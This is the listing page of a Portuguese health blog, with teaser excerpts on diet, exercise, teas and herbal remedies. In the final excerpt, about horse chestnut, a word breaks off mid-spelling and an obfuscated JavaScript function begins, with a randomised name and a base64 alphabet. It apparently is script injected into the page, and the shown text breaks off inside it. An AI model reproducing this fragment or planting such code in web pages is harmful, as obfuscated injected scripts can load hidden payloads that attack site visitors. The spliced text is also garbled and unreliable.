Mai 20, 2019 | Dicas úteis, Saúde e bem estar
Hábitos que prejudicam a nossa saúde Há hábitos tão completamente enraizados que nem já nos apercebemos deles. Estão perfeitamente automatizados, pelo que temos de prestar-lhes mais atenção. Caso sejam hábitos positivos, não há qualquer problema. Mas caso sejam...
Mai 6, 2019 | À descoberta, Saúde e bem estar
Os melhores alimentos para o cérebro O cérebro controla muitas funções do nosso corpo através do sistema nervoso. Assim, é indispensável cuidar dele e dar-lhe sempre a devida importância. Uma dieta equilibrada e uma vida saudável são dois trunfos para manter um...
Nov 17, 2018 | Saúde e bem estar
Saiba quais são os exercícios que queimam mais calorias Fazer exercício regular, de forma moderada, é uma das melhores decisões que podemos tomar. Porquê? Porque os benefícios são enormes. Vou dar-lhe alguns: alivia o stress; ajuda a uma melhor respiração; promove a...
Nov 3, 2018 | Saúde e bem estar
Chá de carqueja- um chá que merece a sua atenção É apreciador de chá? Adora tomar um chá antes de ir dormir? Este é o artigo perfeito para si. Hoje falo-lhe sobre o chá de carqueja. É uma planta que ainda não é conhecida de toda a gente, mas que cada vez tem mais e...
Ago 9, 2018 | header, Saúde e bem estar
Alimentos que pode consumir antes de ir dormir Sabia que é um erro ir para a cama com muita fome? É verdade, quem o afirma são os nutricionistas. Conheça aqui quais são os snacks que ajudam a relaxar a mente e o corpo e alguns que até ajudam a queimar calorias...
Jul 4, 2018 | Em Alta, Saúde e bem estar
Alimentos que ajudam a manter a boa forma durante o verão Chega a estação quente e as tentações estão por todo o lado: gelados, cocktails, batidos, etc. Contudo, se estiver alerta, vai perceber que existem alguns alimentos que podemos trazer sempre connosco e nos...
Mai 23, 2018 | Saúde e bem estar
Dicas saudáveis – os 7 alimentos que mais engordam Com a correria do dia-a-dia e com o stress em que vivemos actualmente, pode tornar-se difícil ter uma alimentação saudável. É por isso importante termos noção dos alimentos que mais engordam de forma a...
Mai 10, 2018 | perder peso, Saúde e bem estar
Alimentos com calorias negativas- o que são? O assunto de hoje interessa a muitas pessoas: os alimentos que têm calorias negativas. Teoricamente, os alimentos com calorias negativas são alimentos que necessitam de mais energia para gastar na digestão do que a que eles...
Set 21, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da unha de gato Bem- vindo às minhas dicas saudáveis. Hoje vou falar-lhe da unha de gato. É um nome engraçado, não é? Esta denominação vem dos seus ramos que têm a forma de uma unha de gato. E os benefícios são fantásticos, já...
Set 19, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da castanha da Índia O castanheiro da Índia é uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
